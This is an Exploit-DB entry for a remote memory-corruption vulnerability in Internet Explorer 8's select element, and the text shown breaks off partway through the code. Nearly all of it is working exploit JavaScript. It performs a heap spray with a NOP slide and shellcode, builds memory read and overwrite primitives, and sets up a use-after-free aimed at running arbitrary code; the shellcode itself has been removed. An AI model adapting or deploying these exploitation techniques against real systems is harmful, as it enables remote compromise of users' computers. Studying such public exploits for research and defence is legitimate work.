Exploit-DB #36209
Description: Microsoft Internet Explorer 8 - Select Element Memory Corruption
Type: remote
Platform: windows
Date: 2011-10-11
Author: Ivan Fratric

Exploit:
source: https://www.securityfocus.com/bid/49964/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions. 

<html>
<head>
</head>

<body>


<script type="text/javascript">
<!--

//originally, windows 7 compatible calc.exe shellcode from SkyLined
var scode = "removed";

var newstack,newstackaddr;
var fakeobj;

var spray,spray2,selarray,readindex,readaddr,optarryaddr;
var elms = new Array();

var optarray;

var mshtmlbase;

//option object that is to be corrupted
var corruptedoption;
var corruptedoptionaddr;
var corruptaddr;

function strtoint(str) {
    return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

function inttostr(num) {
    return String.fromCharCode(num%65536,Math.floor(num/65536));
}

function crash() {
    var o = new Option();
    selarray[99].options.add(o,-0x20000000);
}

function readmem(addr) {
    if(addr < readaddr) alert("Error, can't read that address");
    return strtoint(spray[readindex].substr((addr-readaddr)/2,2));
}

function readmem2(addr,size) {
    if(addr < readaddr) alert("Error, can't read that address");
    return spray[readindex].substr((addr-readaddr)/2,size/2);
}

function overwrite(addr) {
    try {
        var index = (addr-optarryaddr)/4 - 0x40000000;
        selarray[99].options.add(optarray.pop(),index);
    } catch(err) {}   
}

function getreadaddr() {
    readaddr = 0;
    var indexarray = new Array();
    var tmpaddr = 0;
    var i,index;
    
    index = readmem(tmpaddr);
    indexarray.push(index);
    
    while(1) {
        tmpaddr += 0x100000;
        index = readmem(tmpaddr);
        for(i=0;i<indexarray.length;i++) {
            if(indexarray[i]==index+1) {
                readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
                return 1;
            } else if(indexarray[i]==index-1) {
                readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
                return 1;               
            }
        }
        indexarray.push(index);
    }
}

//leverages the vulnerability into memory disclosure
function initread() {
    //overwrite something in a heap spray slide
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4);
    } catch(err) {}
    
    //now find what and where exectly did we overwrite
    readindex = -1;
    var i;
    for(i=1;i<200;i++) {
        if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2))
{
            readindex = i;
            break;
        }
    }

    if(readindex == -1) {
        alert("Error overwriring first spray");
        return 0;
    }

    var start=2,len=spray[readindex].length-2,mid;
    while(len>10) {
        mid = Math.round(len/2);
        mid = mid - mid%2;
        if(spray[readindex].substr(start,mid) !=
spray[readindex-1].substr(start,mid)) {
            len = mid;
        } else {
            start = start+mid;
            len = len-mid;
            //if(spray[readindex].substr(start,mid) ==
spray[readindex-1].substr(start,mid)) alert("error");
        }
    }
    
    for(i=start;i<(start+20);i=i+2) {
        if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
            break;
        }
    }
    
    //overwrite the string length
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);
    } catch(err) {}
       
    if(spray[readindex].length == spray[readindex-1].length) alert("error
overwriting string length");
    
    //readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;
    getreadaddr();
    
    optarryaddr = readaddr + 100000000 + i*2;

    return 1;   
}

function trysploit() {
    //create some helper objects
    for(var i =0; i < 100; i++) {
        elms.push(document.createElement('div'));
    }

    //force the option cache to rebuild itself
    var tmp1 = selarray[99].options[70].text;

    //overwrite the CTreeNode pointer
    overwrite(corruptaddr);
    //read the address of the option object we overwrited with
    var optadr = readmem(corruptaddr);
    //delete the option object...
    selarray[99].options.remove(0);
    
    CollectGarbage();
    
    //...and allocate some strings in its place
    for(var i = 0; i < elms.length; i++) {
        elms[i].className = fakeobj;
    }

    //verify we overwrote the deleted option object successfully
    if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;

    alert("success, calc.exe should start once you close this message box");

    //now do something with the corrupted option object
    corruptedoption.parentNode.click();
}

function hs() {
    
    //first heap spray, nop slide + shellcode   
    spray = new Array(200);
    var pattern = unescape("%u0C0C%u0C0C");
    while(pattern.length<(0x100000/2)) pattern+=pattern;
    pattern = pattern.substr(0,0x100000/2-0x100);
    for(var i=0;i<200;i++) {
        spray[i] = [inttostr(i)+pattern+scode].join("");
    }

    //fill small gaps, we wan everything _behind_ our heap spray so that
we can read it
    var asmall = new Array(10000);
    pattern = "aaaa";
    while(pattern.length<500) pattern+=pattern;
    for(var i=0;i<10000;i++) {
        asmall[i]=[pattern+pattern].join("");
    }
    
    //create some select and option elements
    selarray = new Array(100);
    for(var i=0;i<100;i++) {
        selarray[i] = document.createElement("select");
        for(var j=0;j<100;j++) {
            var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
            selarray[i].options.add(o,0);
        }
    }
    
    //create some extra option elements
    optarray = new Array(10000);
    for(var i=0;i<10000;i++)